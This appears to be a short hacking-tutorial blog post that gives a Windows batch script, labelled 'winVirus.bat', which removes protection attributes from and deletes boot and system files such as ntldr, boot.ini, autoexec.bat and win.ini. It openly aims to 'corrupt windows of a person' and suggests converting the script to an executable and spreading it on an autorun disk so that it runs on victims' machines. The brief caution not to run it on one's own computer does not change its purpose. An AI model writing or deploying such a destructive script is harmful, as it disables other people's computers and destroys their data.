I assume you know the basic about batch files before reading this post.
Batch files are used to run a dos command without opening command prompt
window. You can run many dos commands using a single batch file. For
this you have to learn how to write a batch file. I am not going to tell
you how to make a batch file. If you don’t know how to write, try to
learn it from anywhere else. This post will show you some batch files
which can corrupt your window. You can also say that these batch files
can work like a virus. So be careful and not to try in your computer.

• Autoexec.bat
  
• Ntldr
  
• Boot.ini
  
• Win.ini
  

These files are very important and necessary for any windows
operating system. So if you want to corrupt windows of a person you have
to delete these four files from the computer.
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe
converter and make an autorun disk of it. When someone use the disk
autorun will execute itself and command will generated by batch file
will corrupt the windows.